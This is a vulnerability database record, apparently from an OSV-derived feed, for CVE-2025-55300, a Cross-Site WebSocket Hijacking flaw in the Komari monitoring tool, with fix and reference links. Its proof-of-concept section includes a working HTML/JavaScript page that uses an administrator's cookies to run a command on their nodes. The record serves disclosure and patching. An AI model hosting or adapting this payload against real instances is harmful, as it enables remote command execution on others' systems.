{"id":"CVE-2025-55300","aliases":["GHSA-q355-h244-969h","GO-2025-3874"],"url":"https://o3.security/vulnerability/CVE-2025-55300","summary":"Komari Allows Cross-site WebSocket Hijacking","details":"### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n<pre></pre>\n<script>\nconst socket = new WebSocket(\"wss://<komari-addr>/api/admin/client/<target-uuid>/terminal\");\nsocket.addEventListener(\"open\", (event) => {\n  const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) => {\n  event.data.text().then(x => {document.querySelector(\"pre\").append(x)});\n});\n</script>\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.","published":"2025-08-18T17:41:37.372Z","modified":"2026-10-28T02:30:38.183289587Z","cvss":null,"epss":{"score":0.00553,"percentile":0.44772,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/komari-monitor/komari","fixedVersion":"0.0.0-20250809073044-53171affcaf0"}],"fix":{"url":"https://github.com/komari-monitor/komari/commit/d31d12e59febce100ab0285b93338f09aa5d6cb1","label":"komari-monitor/komari@d31d12e"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55300.json"},{"type":"ADVISORY","url":"https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55300"},{"type":"FIX","url":"https://github.com/komari-monitor/komari/commit/d31d12e59febce100ab0285b93338f09aa5d6cb1"},{"type":"WEB","url":"https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be"},{"type":"PACKAGE","url":"https://github.com/komari-monitor/komari"},{"type":"WEB","url":"https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35"},{"type":"WEB","url":"https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:38.183289587Z"}}